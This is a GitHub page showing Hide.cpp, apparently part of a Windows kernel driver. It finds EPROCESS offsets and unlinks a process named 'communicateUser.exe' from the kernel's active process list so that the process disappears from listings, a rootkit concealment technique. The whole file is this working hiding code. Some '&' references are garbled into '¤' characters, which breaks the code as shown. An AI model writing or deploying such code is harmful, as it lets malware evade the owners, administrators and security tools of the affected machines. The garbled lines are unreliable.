-
Notifications
You must be signed in to change notification settings - Fork 1
/
Hide.cpp
68 lines (57 loc) · 1.84 KB
/
Hide.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <ntddk.h>
#include <ntstrsafe.h>
#include "Offset.h"
#include "Hide.h"
extern "C"
static ULONG pidOffset = 0, nameOffset = 0, listEntryOffset = 0;
extern "C"
BOOLEAN InitializeOffsets()
{
nameOffset = CalcProcessNameOffset();
pidOffset = CalcPIDOffset();
listEntryOffset = pidOffset + sizeof(HANDLE); // LIST_ENTRY
if (pidOffset == 0 || nameOffset == 0)
return FALSE;
else
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "NameOffset Address: 0x%X\n", nameOffset);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "PID Address: 0x%X\n", pidOffset);
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "ListEntry Address: 0x%X\n", listEntryOffset);
return TRUE;
}
}
extern "C"
VOID HideProcess()
{
PLIST_ENTRY head, currentNode, prevNode;
PEPROCESS eprocessStart;
unsigned char* currentProcess = NULL;
const char target[] = "communicateUser.exe";
ANSI_STRING targetProcessName, currentProcessName;
eprocessStart = IoGetCurrentProcess();
head = currentNode = (PLIST_ENTRY)((unsigned char*)eprocessStart + listEntryOffset);
RtlInitAnsiString(&targetProcessName, target);
do
{
currentProcess = (unsigned char*)((unsigned char*)currentNode - listEntryOffset);
RtlInitAnsiString(¤tProcessName, (const char*)((unsigned char*)currentProcess + nameOffset));
//Target Process
if (RtlCompareString(&targetProcessName, ¤tProcessName, TRUE) == 0)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "Found target process %s.\n", target);
// TargetProcess
// (A->B->C->) to (A->C)
prevNode = currentNode->Blink;
prevNode->Flink = currentNode->Flink;
// TargetProcess
// (A<-B<-C<-) to (A<-C)
currentNode->Flink->Blink = prevNode;
// TargetProcess의 링크를 자신으로 변경
currentNode->Flink = currentNode;
currentNode->Blink = currentNode;
break;
}
currentNode = currentNode->Flink;
} while (currentNode->Flink != head);
// EPROCESS
}